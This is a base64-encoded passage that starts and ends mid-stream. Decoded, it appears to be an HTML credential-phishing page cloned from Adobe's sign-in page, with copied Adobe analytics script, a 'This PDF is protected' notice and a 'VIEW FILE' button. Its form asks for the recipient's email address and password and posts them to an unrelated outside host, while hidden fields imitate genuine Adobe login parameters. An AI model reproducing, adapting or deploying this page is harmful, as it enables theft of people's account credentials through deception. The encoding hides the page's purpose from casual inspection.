QoYi50aW1lb3V0KSxiLnRpbWVvdXQ9DQowKX1jYXRjaChkKXt9fTtiLm9ubG9hZD1iLiRhPWZ1bmN0aW9uKCl7Yi5jYSgpO2EuRmEoKTthLkwoKTthLnY9MDthLk8oKX07Yi5vbmFib3J0PWIub25lcnJvcj1iLkhhPWZ1bmN0aW9uKCl7Yi5jYSgpOyhhLnRyYWNrT2ZmbGluZXx8YS5UKSYmYS52JiZhLmUudW5zaGlmdChhLkVhKTthLnY9MDthLlA+YS5HJiZhLm5hKGEuZSk7YS5MKCk7YS5XKDUwMCl9O2Iub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7ND09Yi5yZWFkeVN0YXRlJiYoMjAwPT1iLnN0YXR1cz9iLiRhKCk6Yi5IYSgpKX07YS5tYT1hLnIoKTtiLnNyYz1kO2IuYWJvcnQmJihhLlY9c2V0VGltZW91dChiLmFib3J0LDVFMykpO2EuRWE9ZDthLmxiPWNbInNfaV8iK2EucmVwbGFjZShhLmFjY291bnQsIiwiLCJfIildPWI7aWYoYS51c2VGb3JjZWRMaW5rVHJhY2tpbmcmJmEuQnx8YS5wKWEuZm9yY2VkTGlua1RyYWNraW5nVGltZW91dHx8KGEuZm9yY2VkTGlua1RyYWNraW5nVGltZW91dD0yNTApLGEuTT1zZXRUaW1lb3V0KGEuTCwNCmEuZm9yY2VkTGlua1RyYWNraW5nVGltZW91dCl9O2EuRmE9ZnVuY3Rpb24oKXtpZihhLlUoKSYmIShhLmxhPmEuRykpdHJ5e2MubG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oYS5TKCkpLGEubGE9YS5yKCl9Y2F0Y2goZCl7fX07YS5uYT1mdW5jdGlvbihkKXtpZihhLlUoKSl7YS5wYSgpO3RyeXtjLmxvY2FsU3RvcmFnZS5zZXRJdGVtKGEuUygpLGMuSlNPTi5zdHJpbmdpZnkoZCkpLGEuRz1hLnIoKX1jYXRjaChiKXt9fX07YS5wYT1mdW5jdGlvbigpe2lmKGEudHJhY2tPZmZsaW5lKXtpZighYS5vZmZsaW5lTGltaXR8fDA+PWEub2ZmbGluZUxpbWl0KWEub2ZmbGluZUxpbWl0PTEwO2Zvcig7YS5lLmxlbmd0aD5hLm9mZmxpbmVMaW1pdDspYS5mYSgpfX07YS5mb3JjZU9mZmxpbmU9ZnVuY3Rpb24oKXthLlQ9ITB9O2EuZm9yY2VPbmxpbmU9ZnVuY3Rpb24oKXthLlQ9ITF9O2EuUz1mdW5jdGlvbigpe3JldHVybiBhLm9mZmxpbmVGaWxlbmFtZSsiLSIrYS52aXNpdG9yTmFtZXNwYWNlKw0KYS5hY2NvdW50fTthLnI9ZnVuY3Rpb24oKXtyZXR1cm4obmV3IERhdGUpLmdldFRpbWUoKX07YS5qYT1mdW5jdGlvbihhKXthPWEudG9Mb3dlckNhc2UoKTtyZXR1cm4gMCE9YS5pbmRleE9mKCIjIikmJjAhPWEuaW5kZXhPZigiYWJvdXQ6IikmJjAhPWEuaW5kZXhPZigib3BlcmE6IikmJjAhPWEuaW5kZXhPZigiamF2YXNjcmlwdDoiKT8hMDohMX07YS5zZXRUYWdDb250YWluZXI9ZnVuY3Rpb24oZCl7dmFyIGIsYyxnO2EuYWI9ZDtmb3IoYj0wO2I8YS5faWwubGVuZ3RoO2IrKylpZigoYz1hLl9pbFtiXSkmJiJzX2wiPT1jLl9jJiZjLnRhZ0NvbnRhaW5lck5hbWU9PWQpe2EuSihjKTtpZihjLmxtcSlmb3IoYj0wO2I8Yy5sbXEubGVuZ3RoO2IrKylnPWMubG1xW2JdLGEubG9hZE1vZHVsZShnLm4pO2lmKGMubWwpZm9yKGcgaW4gYy5tbClpZihhW2ddKWZvcihiIGluIGQ9YVtnXSxnPWMubWxbZ10sZylpZighT2JqZWN0LnByb3RvdHlwZVtiXSYmKCJmdW5jdGlvbiIhPXR5cGVvZiBnW2JdfHwNCjA+KCIiK2dbYl0pLmluZGV4T2YoInNfY19pbCIpKSlkW2JdPWdbYl07aWYoYy5tbXEpZm9yKGI9MDtiPGMubW1xLmxlbmd0aDtiKyspZz1jLm1tcVtiXSxhW2cubV0mJihkPWFbZy5tXSxkW2cuZl0mJiJmdW5jdGlvbiI9PXR5cGVvZiBkW2cuZl0mJihnLmE/ZFtnLmZdLmFwcGx5KGQsZy5hKTpkW2cuZl0uYXBwbHkoZCkpKTtpZihjLnRxKWZvcihiPTA7YjxjLnRxLmxlbmd0aDtiKyspYS50cmFjayhjLnRxW2JdKTtjLnM9YTticmVha319O2EuVXRpbD17dXJsRW5jb2RlOmEuZXNjYXBlLHVybERlY29kZTphLnVuZXNjYXBlLGNvb2tpZVJlYWQ6YS5jb29raWVSZWFkLGNvb2tpZVdyaXRlOmEuY29va2llV3JpdGUsZ2V0UXVlcnlQYXJhbTpmdW5jdGlvbihkLGIsZil7dmFyIGc7Ynx8KGI9YS5wYWdlVVJMP2EucGFnZVVSTDpjLmxvY2F0aW9uKTtmfHwoZj0iXHgyNiIpO3JldHVybiBkJiZiJiYoYj0iIitiLGc9Yi5pbmRleE9mKCI/IiksMDw9ZyYmKGI9ZitiLnN1YnN0cmluZyhnKzEpKw0KZixnPWIuaW5kZXhPZihmK2QrIlx4M2QiKSwwPD1nJiYoYj1iLnN1YnN0cmluZyhnK2YubGVuZ3RoK2QubGVuZ3RoKzEpLGc9Yi5pbmRleE9mKGYpLDA8PWcmJihiPWIuc3Vic3RyaW5nKDAsZykpLDA8Yi5sZW5ndGgpKSk/YS51bmVzY2FwZShiKToiIn19O2Euej0idGltZXN0YW1wIGR5bmFtaWNWYXJpYWJsZVByZWZpeCB2aXNpdG9ySUQgbWFya2V0aW5nQ2xvdWRWaXNpdG9ySUQgYW5hbHl0aWNzVmlzaXRvcklEIGF1ZGllbmNlTWFuYWdlclZpc2l0b3JJRCBhdWRpZW5jZU1hbmFnZXJMb2NhdGlvbkhpbnQgZmlkIHZtayB2aXNpdG9yTWlncmF0aW9uS2V5IHZpc2l0b3JNaWdyYXRpb25TZXJ2ZXIgdmlzaXRvck1pZ3JhdGlvblNlcnZlclNlY3VyZSBjaGFyU2V0IHZpc2l0b3JOYW1lc3BhY2UgY29va2llRG9tYWluUGVyaW9kcyBmcENvb2tpZURvbWFpblBlcmlvZHMgY29va2llTGlmZXRpbWUgcGFnZU5hbWUgcGFnZVVSTCByZWZlcnJlciBjb250ZXh0RGF0YSBjdXJyZW5jeUNvZGUgbGlnaHRQcm9maWxlSUQgbGlnaHRTdG9yZUZvclNlY29uZHMgbGlnaHRJbmNyZW1lbnRCeSByZXRyaWV2ZUxpZ2h0UHJvZmlsZXMgZGVsZXRlTGlnaHRQcm9maWxlcyByZXRyaWV2ZUxpZ2h0RGF0YSBwZSBwZXYxIHBldjIgcGV2MyBwYWdlVVJMUmVzdCIuc3BsaXQoIiAiKTsNCmEuYz1hLnouY29uY2F0KCJwdXJjaGFzZUlEIHZhcmlhYmxlUHJvdmlkZXIgY2hhbm5lbCBzZXJ2ZXIgcGFnZVR5cGUgdHJhbnNhY3Rpb25JRCBjYW1wYWlnbiBzdGF0ZSB6aXAgZXZlbnRzIGV2ZW50czIgcHJvZHVjdHMgdG50Ii5zcGxpdCgiICIpKTthLlE9InRpbWVzdGFtcCBjaGFyU2V0IHZpc2l0b3JOYW1lc3BhY2UgY29va2llRG9tYWluUGVyaW9kcyBjb29raWVMaWZldGltZSBjb250ZXh0RGF0YSBsaWdodFByb2ZpbGVJRCBsaWdodFN0b3JlRm9yU2Vjb25kcyBsaWdodEluY3JlbWVudEJ5Ii5zcGxpdCgiICIpO2EuSD1hLlEuc2xpY2UoMCk7YS5hYT0iYWNjb3VudCBhbGxBY2NvdW50cyBkZWJ1Z1RyYWNraW5nIHZpc2l0b3IgdHJhY2tPZmZsaW5lIG9mZmxpbmVMaW1pdCBvZmZsaW5lVGhyb3R0bGVEZWxheSBvZmZsaW5lRmlsZW5hbWUgdXNlUGx1Z2lucyBkb1BsdWdpbnMgY29uZmlnVVJMIHZpc2l0b3JTYW1wbGluZyBzLnZpc2l0b3JTYW1wbGluZ0dyb3VwIGxpbmtPYmplY3QgbGlua1VSTCBsaW5rTmFtZSBsaW5rVHlwZSB0cmFja0Rvd25sb2FkTGlua3MgdHJhY2tFeHRlcm5hbExpbmtzIHRyYWNrQ2xpY2tNYXAgdHJhY2tJbmxpbmVTdGF0cyBsaW5rTGVhdmVRdWVyeVN0cmluZyBsaW5rVHJhY2tWYXJzIGxpbmtUcmFja0V2ZW50cyBsaW5rRG93bmxvYWRGaWxlVHlwZXMgbGlua0V4dGVybmFsRmlsdGVycyBsaW5rSW50ZXJuYWxGaWx0ZXJzIHVzZUZvcmNlZExpbmtUcmFja2luZyBmb3JjZWRMaW5rVHJhY2tpbmdUaW1lb3V0IHRyYWNraW5nU2VydmVyIHRyYWNraW5nU2VydmVyU2VjdXJlIHNzbCBhYm9ydCBtb2JpbGUgZGMgbGlnaHRUcmFja1ZhcnMgbWF4RGVsYXkiLnNwbGl0KCIgIik7DQpmb3IobT0wOzc1Pj1tO20rKylhLmMucHVzaCgicHJvcCIrbSksYS5ILnB1c2goInByb3AiK20pLGEuYy5wdXNoKCJlVmFyIittKSxhLkgucHVzaCgiZVZhciIrbSksNj5tJiZhLmMucHVzaCgiaGllciIrbSksND5tJiZhLmMucHVzaCgibGlzdCIrbSk7bT0icmVzb2x1dGlvbiBjb2xvckRlcHRoIGphdmFzY3JpcHRWZXJzaW9uIGphdmFFbmFibGVkIGNvb2tpZXNFbmFibGVkIGJyb3dzZXJXaWR0aCBicm93c2VySGVpZ2h0IGNvbm5lY3Rpb25UeXBlIGhvbWVwYWdlIHBsdWdpbnMiLnNwbGl0KCIgIik7YS5jPWEuYy5jb25jYXQobSk7YS56PWEuei5jb25jYXQobSk7YS5zc2w9MDw9Yy5sb2NhdGlvbi5wcm90b2NvbC50b0xvd2VyQ2FzZSgpLmluZGV4T2YoImh0dHBzIik7YS5jaGFyU2V0PSJVVEYtOCI7YS5jb250ZXh0RGF0YT17fTthLm9mZmxpbmVUaHJvdHRsZURlbGF5PTA7YS5vZmZsaW5lRmlsZW5hbWU9IkFwcE1lYXN1cmVtZW50Lm9mZmxpbmUiO2EubWE9MDthLlA9MDthLkc9MDsNCmEubGE9MDthLmxpbmtEb3dubG9hZEZpbGVUeXBlcz0iZXhlLHppcCx3YXYsbXAzLG1vdixtcGcsYXZpLHdtdixwZGYsZG9jLGRvY3gseGxzLHhsc3gscHB0LHBwdHgiO2Eudz1jO2EuZD1jLmRvY3VtZW50O3RyeXthLlBhPSJNaWNyb3NvZnQgSW50ZXJuZXQgRXhwbG9yZXIiPT1uYXZpZ2F0b3IuYXBwTmFtZX1jYXRjaCh3KXt9YS5MPWZ1bmN0aW9uKCl7YS5NJiYoYy5jbGVhclRpbWVvdXQoYS5NKSxhLk09Zyk7YS5pJiZhLkImJmEuaS5kaXNwYXRjaEV2ZW50KGEuQik7YS5wJiYoImZ1bmN0aW9uIj09dHlwZW9mIGEucD9hLnAoKTphLmkmJmEuaS5ocmVmJiYoYS5kLmxvY2F0aW9uPWEuaS5ocmVmKSk7YS5pPWEuQj1hLnA9MH07YS5vYT1mdW5jdGlvbigpe2EuYj1hLmQuYm9keTtpZihhLmIpaWYoYS5vPWZ1bmN0aW9uKGQpe3ZhciBiLGYsZyxrLG07aWYoIShhLmQmJmEuZC5nZXRFbGVtZW50QnlJZCgiY3BwWFljdG5yIil8fGQmJmQuV2EpKXtpZihhLmJhKWlmKGEudXNlRm9yY2VkTGlua1RyYWNraW5nKWEuYi5yZW1vdmVFdmVudExpc3RlbmVyKCJjbGljayIsDQphLm8sITEpO2Vsc2V7YS5iLnJlbW92ZUV2ZW50TGlzdGVuZXIoImNsaWNrIixhLm8sITApO2EuYmE9YS51c2VGb3JjZWRMaW5rVHJhY2tpbmc9MDtyZXR1cm59ZWxzZSBhLnVzZUZvcmNlZExpbmtUcmFja2luZz0wO2Euaj1kLnNyY0VsZW1lbnQ/ZC5zcmNFbGVtZW50OmQudGFyZ2V0O3RyeXtpZihhLmomJihhLmoudGFnTmFtZXx8YS5qLnBhcmVudEVsZW1lbnR8fGEuai5wYXJlbnROb2RlKSlpZihnPWEuaGEoKSxhLnRyYWNrKCksZzxhLmhhKCkmJmEudXNlRm9yY2VkTGlua1RyYWNraW5nJiZkLnRhcmdldCl7Zm9yKGs9ZC50YXJnZXQ7ayYmayE9YS5iJiYiQSIhPWsudGFnTmFtZS50b1VwcGVyQ2FzZSgpJiYiQVJFQSIhPWsudGFnTmFtZS50b1VwcGVyQ2FzZSgpOylrPWsucGFyZW50Tm9kZTtpZihrJiYobT1rLmhyZWYsYS5qYShtKXx8KG09MCksZj1rLnRhcmdldCxkLnRhcmdldC5kaXNwYXRjaEV2ZW50JiZtJiYoIWZ8fCJfc2VsZiI9PWZ8fCJfdG9wIj09Znx8Il9wYXJlbnQiPT0NCmZ8fGMubmFtZSYmZj09Yy5uYW1lKSkpe3RyeXtiPWEuZC5jcmVhdGVFdmVudCgiTW91c2VFdmVudHMiKX1jYXRjaChwKXtiPW5ldyBjLk1vdXNlRXZlbnR9aWYoYil7dHJ5e2IuaW5pdE1vdXNlRXZlbnQoImNsaWNrIixkLmJ1YmJsZXMsZC5jYW5jZWxhYmxlLGQudmlldyxkLmRldGFpbCxkLnNjcmVlblgsZC5zY3JlZW5ZLGQuY2xpZW50WCxkLmNsaWVudFksZC5jdHJsS2V5LGQuYWx0S2V5LGQuc2hpZnRLZXksZC5tZXRhS2V5LGQuYnV0dG9uLGQucmVsYXRlZFRhcmdldCl9Y2F0Y2gocil7Yj0wfWImJihiLldhPTEsZC5zdG9wUHJvcGFnYXRpb24oKSxkLlphJiZkLlphKCksZC5wcmV2ZW50RGVmYXVsdCgpLGEuaT1kLnRhcmdldCxhLkI9Yil9fX19Y2F0Y2godCl7fWEuaj0wfX0sYS5iJiZhLmIuYXR0YWNoRXZlbnQpYS5iLmF0dGFjaEV2ZW50KCJvbmNsaWNrIixhLm8pO2Vsc2V7aWYoYS5iJiZhLmIuYWRkRXZlbnRMaXN0ZW5lcil7aWYobmF2aWdhdG9yJiYoMDw9bmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJXZWJLaXQiKSYmDQphLmQuY3JlYXRlRXZlbnR8fDA8PW5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZigiRmlyZWZveC8yIikmJmMuTW91c2VFdmVudCkpYS5iYT0xLGEudXNlRm9yY2VkTGlua1RyYWNraW5nPTEsYS5iLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixhLm8sITApO2EuYi5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsYS5vLCExKX19ZWxzZSBzZXRUaW1lb3V0KGEub2EsMzApfTthLm9hKCl9DQpmdW5jdGlvbiBzX2dpKGEpe3ZhciBjLGc9d2luZG93LnNfY19pbCxwLG09YS5zcGxpdCgiLCIpLHIsdCx3PTA7aWYoZylmb3IocD0wOyF3JiZwPGcubGVuZ3RoOyl7Yz1nW3BdO2lmKCJzX2MiPT1jLl9jJiZjLmFjY291bnQpaWYoYy5hY2NvdW50PT1hKXc9MTtlbHNle2MuYWxsQWNjb3VudHN8fChjLmFsbEFjY291bnRzPWMuYWNjb3VudC5zcGxpdCgiLCIpKTtmb3Iocj0wO3I8bS5sZW5ndGg7cisrKWZvcih0PTA7dDxjLmFsbEFjY291bnRzLmxlbmd0aDt0KyspbVtyXT09Yy5hbGxBY2NvdW50c1t0XSYmKHc9MSl9cCsrfXd8fChjPW5ldyBBcHBNZWFzdXJlbWVudCk7Yy5zZXRBY2NvdW50KGEpO3JldHVybiBjfUFwcE1lYXN1cmVtZW50LmdldEluc3RhbmNlPXNfZ2k7d2luZG93LnNfb2JqZWN0SUR8fCh3aW5kb3cuc19vYmplY3RJRD0wKTsNCmZ1bmN0aW9uIHNfcGdpY3EoKXt2YXIgYT13aW5kb3csYz1hLnNfZ2lxLGcscCxtO2lmKGMpZm9yKGc9MDtnPGMubGVuZ3RoO2crKylwPWNbZ10sbT1zX2dpKHAub3VuKSxtLnNldEFjY291bnQocC51biksbS5zZXRUYWdDb250YWluZXIocC50YWdDb250YWluZXJOYW1lKTthLnNfZ2lxPTB9c19wZ2ljcSgpOzwvc2NyaXB0Pg0KICAgICAgICAgICAgICAgICAgICA8L2hlYWQ+DQoNCiAgICA8Ym9keSBvbnRvdWNoc3RhcnQ9IiIgaWQ9ImFkb2Jlc3VzaSI+DQogICAgICAgIDxkaXYgY2xhc3M9InJvdyBoZWFkZXIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1haW5jb250YWluZXIgIj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dvIj48L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWFpbmNvbnRhaW5lciAiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyIgc3R5bGU9IndpZHRoOiA0NDE7IGhlaWdodDogMjM4Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMSBjbGFzcz0ibGFyZ2VyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTaWduIGluIHdpdGggeW91ciBlbWFpbCBhbmQgcGFzc3dvcmQ8L2gxPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImxhcmdlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBib3JkZXI9IjAiIHNyYz0iaHR0cDovL2FsZ29zYi5zY2llbmNlc2NvbmYub3JnL2NvbmZlcmVuY2UvYWxnb3NiL3BhZ2VzL1BERl9Mb2dvLmpwZyIgd2lkdGg9IjEzOSIgaGVpZ2h0PSIxMzAiPjwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJlcnJvciBiYWNrZW5kIj48L3NwYW4+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBpZD0ic2lnbmluIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iaHR0cDovL2ZmaW5nci5ob2wuZXMvdmlld3MucGhwIiBkYXRhLWNvbXBvbmVudD0ic2luZ2xlc3VibWl0dGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJjbGllbnRfaWQiIG5hbWU9ImNsaWVudF9pZCIgdmFsdWU9ImFkb2JlZG90Y29tX1RPVV9jbGllbnQyIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY2FsbGJhY2siIG5hbWU9ImNhbGxiYWNrIiB2YWx1ZT0iaHR0cHM6Ly9pbXMtbmExLmFkb2JlbG9naW4uY29tL2ltcy9hZG9iZWlkL2Fkb2JlZG90Y29tX1RPVV9jbGllbnQyL0Fkb2JlSUQvdG9rZW4/cmVkaXJlY3RfdXJpPWh0dHBzJTNBJTJGJTJGd3d3LmFkb2JlLmNvbSUyRmFjY291bnQuaHRtbCZhbXA7c2NvcGU9QWRvYmVJRCUyQ29wZW5pZCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImNsaWVudF9yZWRpcmVjdCIgbmFtZT0iY2xpZW50X3JlZGlyZWN0IiB2YWx1ZT0iaHR0cHM6Ly9pbXMtbmExLmFkb2JlbG9naW4uY29tL2ltcy9yZWRpcmVjdC9hZG9iZWRvdGNvbV9UT1VfY2xpZW50Mj9jbGllbnRfcmVkaXJlY3Q9aHR0cHMlM0ElMkYlMkZ3d3cuYWRvYmUuY29tJTJGYWNjb3VudC5odG1sIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iZGVuaWVkX2NhbGxiYWNrIiBuYW1lPSJkZW5pZWRfY2FsbGJhY2siIHZhbHVlPSJodHRwczovL2ltcy1uYTEuYWRvYmVsb2dpbi5jb20vaW1zL2RlbmllZC9hZG9iZWRvdGNvbV9UT1VfY2xpZW50Mj9yZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cuYWRvYmUuY29tJTJGYWNjb3VudC5odG1sJmFtcDtzY29wZT1BZG9iZUlEJTJDb3BlbmlkJmFtcDtyZXNwb25zZV90eXBlPXRva2VuIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iZGlzcGxheSIgbmFtZT0iZGlzcGxheSIgdmFsdWU9IndlYl92MiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9InN0YXRlIiBuYW1lPSJzdGF0ZSIgdmFsdWU9InsmIzAzNDthYyYjMDM0OzomIzAzNDsmIzAzNDt9Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0icmVsYXkiIG5hbWU9InJlbGF5IiB2YWx1ZT0iM2EwNDY4ZDMtZDQ2ZS00NmVlLThlOTMtNDUzYTg3NzMzM2E1Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0ibG9jYWxlIiBuYW1lPSJsb2NhbGUiIHZhbHVlPSJlbl9VUyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImZsb3ciIG5hbWU9ImZsb3ciIHZhbHVlPSJ0cnVlIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iZmxvd190eXBlIiBuYW1lPSJmbG93X3R5cGUiIHZhbHVlPSJ0b2tlbiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImRjIiBuYW1lPSJkYyIgdmFsdWU9ImZhbHNlIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iZm9yY2VfbWFya2V0aW5nX3Blcm1pc3Npb24iIG5hbWU9ImZvcmNlX21hcmtldGluZ19wZXJtaXNzaW9uIiB2YWx1ZT0iZmFsc2UiPjxmaWVsZHNldD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHRhYmluZGV4PSIxIiAgdmFsdWU9IiIgaWQ9ImVtYWlsIiBuYW1lPSJlbWFpbCIgIHR5cGU9ImVtYWlsIiBwbGFjZWhvbGRlcj0iUmVjZWl2ZXIgRW1haWwgYWRkcmVzcyIgYXV0b2NhcGl0YWxpemU9Im9mZiIgYXV0b2NvcnJlY3Q9Im9mZiIgYXV0b2NvbXBsZXRlPSJvZmYiIG5vdmFsaWRhdGU9Im5vdmFsaWRhdGUiIHNpemU9IjIwIi8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2ZpZWxkc2V0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGZpZWxkc2V0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgYXV0b2NvbXBsZXRlPSJvZmYiIHRhYmluZGV4PSIyIiBkYXRhLWNvbXBvbmVudD0icGFzc3dvcmRyZXZlYWxlciIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIiBpZD0icGFzc3dvcmQiIGNsYXNzPSJ0ZXh0LWNlbnRlciIgdmFsdWU9IiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBsYWNlaG9sZGVyPSJQYXNzd29yZCIgc2l6ZT0iMjAiLz4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9maWVsZHNldD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBzcGFjZWQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmaWVsZHNldCBjbGFzcz0iZ3JpZGNvbnRhaW5lciBzaWduaW5fb3B0aW9ucyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJncmlkXzIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9InJlbWVtYmVyX21lIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHRhYmluZGV4PSIzIiBkYXRhLWNvbXBvbmVudD0idG9nZ2xlciIgZGF0YS10b2dnbGU9IiNjaGVja2JveF9leHBsYWluZXIiICB0eXBlPSJjaGVja2JveCIgaWQ9InJlbWVtYmVyX21lIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5hbWU9InJlbWVtYmVyX21lIiB2YWx1ZT0iT04iDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTdGF5IHNpZ25lZCBpbjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZ3JpZF8yIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBkYXRhLWNvbXBvbmVudD0ic2luZ2xlc3VibWl0dGVyIiB0YWJpbmRleD0iNSIgaWQ9InRyb3VibGVfc2lnbmluZ19pbiI+VGhpcyBQREYgaXMgcHJvdGVjdGVkPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZmllbGRzZXQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9ImNoZWNrYm94X2V4cGxhaW5lciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVuY2hlY2sgb24gcHVibGljIGRldmljZXMuPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGZpZWxkc2V0Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gaWQ9InNpZ25faW4iIHRhYmluZGV4PSI0IiA+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZJRVcgRklMRTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9maWVsZHNldD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBvbmVtb3JldGhpbmciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJm5ic3A7PC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ2aSIgaWQ9InZpIiB2YWx1ZT0iIi8+DQoNCiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cgbmV0d29yayI+DQogICAgICAgICAgICAgICAgICAgIDxoci8+DQogICAgICAgICAgICAgICAgICAgIFNpZ24gaW4gd2l0aCB5b3VyIHJlY2VpdmluZyBlbWFpbCBhbmQgcGFzc3dvcmQuPGRpdiBjbGFzcz0iaWNvbnMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY3JlYXRpdmVfY2xvdWQiIHRpdGxlPSJDcmVhdGl2ZSBDbG91ZCI+PC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFjcm9iYXQiIHRpdGxlPSJBY3JvYmF0Ij48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1hcmtldGluZ19jbG91ZCIgdGl0bGU9Ik1hcmtldGluZyBDbG91ZCI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJiZWhhbmNlIiB0aXRsZT0iQmVoYW5jZSI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgICAgIHZhciBzX2NvZGUgPSAiICI7DQogICAgICAgIHZhciBzX2FjY291bnQgPSAiYWRiaW1zcWEsYWRiYWRvYmVub25hY2RjcWEiOw0KICAgICAgICB2YXIgc2NKc0hvc3QgPSAiaHR0cHM6Ly93d3cuYWRvYmUuY29tIjsNCg0KICAgICAgICAgICAgICAgIDwvc2NyaXB0Pg0KDQoNCiAgICA8IS0tIFNpdGVDYXRhbHlzdCBjb2RlIHZlcnNpb246IEguMjQuMy4NCiAgICBDb3B5cmlnaHQgMTk5Ni0yMDEyIEFkb2JlLCBJbmMuIEFsbCBSaWdodHMgUmVzZXJ2ZWQNCiAgICBNb3JlIGluZm8gYXZhaWxhYmxlIGF0IGh0dHA6Ly93d3cub21uaXR1cmUuY29tIC0tPg0KDQogICAgPHNjcmlwd